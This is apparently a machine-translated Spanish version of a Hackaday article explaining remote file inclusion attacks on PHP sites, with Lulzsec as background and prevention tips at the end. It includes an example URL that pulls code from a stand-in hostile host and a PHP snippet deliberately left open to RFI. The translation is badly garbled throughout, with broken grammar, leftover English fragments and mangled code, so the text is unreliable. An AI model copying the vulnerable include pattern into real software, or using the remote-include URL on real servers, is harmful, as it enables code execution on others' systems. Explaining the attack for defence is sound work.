Las Artes Oscuras – Inclusión De Archivos Remotos

En las últimas horas de 2010, un grupo de hackers conocido como Lulzsec corría desenfrenado a través de Internet, dejando un camino de servidores comprometidos, un sendero de borrado de páginas de inicio, se filtraron correos electrónicos, y la información de inicio de sesión en su estela. Finalmente fue arrestado a través de un error humano, y el líder del grupo de convertirse en un informante del FBI. Este puñado de relativamente jóvenes hackers habían hecho un lío enorme de cosas. Después de la digital polvo se había asentado – las investigaciones, los periodistas, y los codificadores comenzó a diseccionar sólo cómo estos aparentemente inofensivos grupo de niños fueron capaces de aprovechar tanto poder y control sobre la World Wide Web. Lo que encontraron fue que no sólo abrir los ojos de los maestros web y programadores, pero brilló una luz en lo vulnerables que todos nuestros datos para todo el mundo para ver. Marcó el comienzo de una era de un renovado enfoque en la seguridad y cómo escribir código seguro.

En este Oscuro de las Artes de la serie, hemos dado un vistazo de cerca a la principal de las técnicas de la Luzsec hackers se utiliza para acceder de manera ilegal a los servidores. We’ve cubierto dos de ellos – inyección de SQL (SQLi) y cross-site scripting (XSS). En este artículo, se’ll ir sobre el final de la técnica llamada remota de archivos de inclusión (RFI).

RENUNCIA: Afortunadamente, el aumento de la seguridad de mente prácticas de codificación después de la caída de Lulzsec ha (la mayor parte) se quitan estas vulnerabilidades de la Internet como un todo. Estas técnicas son muy viejos y no va a funcionar en cualquier servidor que se mantiene y/o detrás de un firewall decente, y su IP será probablemente marcado y se registra para tratar de ellos. Pero se sienten libres para configurar un servidor en casa y jugar a su alrededor.

PHP, Sí, Usted Debe Saber Mejor Que Yo Que

RFI ataques no son tan conocidas como sus SQLi y XSS contrapartes. Sin embargo, it’s de una manera muy efectiva para conseguir la ejecución de código malintencionado en un vulnerables servidor de destino. Funciona mediante la inclusión de un archivo remoto en una petición HTTP. Su forma básica es la de añadir un URL para incluir un archivo desde un servidor remoto. Por ejemplo, dicen que en lugar de escribir http://www.ilurvmesomearduino.com/ en la barra de URL, escriba algo como http://www.ilurvmesomearduino.com/index.php?page=http://www.hackaday.com?

Si usted consigue el Hackaday página web, a continuación, http://www.ilurvmesomearduino.com es susceptible de sufrir un RFI ataque. Lo que’he hecho es ejecutar http://www.hackaday.com/index.php en el Arduino servidor del sitio. No hay nada que te impida hacer algo como http://www.ilurvmesomearduino.com/index.php?page=http://www.dosomethingbad.php

El más frecuente, razón por la que esto ha sido posible porque en la web programadores a menudo la estructura de los enlaces a otras páginas dentro de su sitio como este:

 ------| index.php?page=uno.php ------| index.php?page=mega.php ------| index.php?page=due.php 

de Esta manera, los vínculos en la index.php página de inicio simplemente llamar a otra .archivo php. Para ello, se utilizaría la función include() para llamar a las sub-páginas de uno, mega y due.php. Considere la posibilidad de la modificado ligeramente el código encontramos en la web (escrito en el año 2011) a partir de un hacker que fue por [B. K.]:

 <?php if(isset($  _GET['page'])) //vulnerable a RFI { $  pagina=$  _GET['page']; include($  página.".php"); } else{ ?> <html> <h1>me Encanta Arduino</h1> haga clic aquí para <a href="/index.php?page=uno">Uno</a> haga clic aquí para <a href="/index.php?page=mega">Mega</a> haga clic aquí para <a href="/index.php?page=debido"></a> </html> <? } ?> 

se Puede ver dónde está el problema? Cuando un enlace en el bloque HTML es hacer clic en él, se pasa a la variable. El include() función de resolver la dirección URL a http://www.ilurvmesomearduio.com/index.php?page=uno si usted haga clic en el ‘Uno’ enlace. No hay nada aquí para detener a alguien de la inclusión de archivos de fuera del dominio. Nada te detiene de cambio de ?page=uno para lo que quieras.

Y que’s cómo básica RFI ataque funciona. Hay variaciones de curso. Déjanos saber tu favorito en los comentarios!

Herramientas Automáticas

Como se puede ver, el ataque es lo suficientemente simple para construir un programa que busque páginas que son susceptibles de RFI y, a continuación, ejecute el código para extraer información de los vulnerables servidor. Y que’s exactamente lo que sucedió en la primera parte de la década. El siguiente gráfico muestra registra RFI ataques en 2010-2011. Los picos fueron en gran medida de hacer a un solo usuario, lo que sugiere una herramienta automatizada estaba en el trabajo.

Fuente a través de Imperva

la Prevención de RFI Ataques

Afortunadamente, es relativamente trivial para detener RFI ataques. La mejor manera es ir en su php.ini y allow_url_fopen y allow_url_include en off. Deben ser desactivados por defecto, si usted mantiene su servidor actualizado, pero revise de todos modos. Otra forma es para desinfectar las entradas, y mucho, en la misma persona para evitar SQLi. Esto se puede hacer haciendo una lista blanca de archivos que se pueden ejecutar en el servidor. Y hay’s siempre un buen firewall que puede detener este tipo de ataques antes de que comience.

lo Más importante, siempre debemos mirar en el código a través de los ojos de los hacker de sondeo para las debilidades, y, por supuesto, de parchar los agujeros tan pronto como sea posible cuando se descubre. Con RFI, como con SQLi, el problema es la apertura del sistema a la entrada del usuario. Esta fue una lección de Internet aprendido de la manera difícil. Esperamos.

Filed under: Featured, Interés, obras de Arte Originales
Hackaday

Play
Slider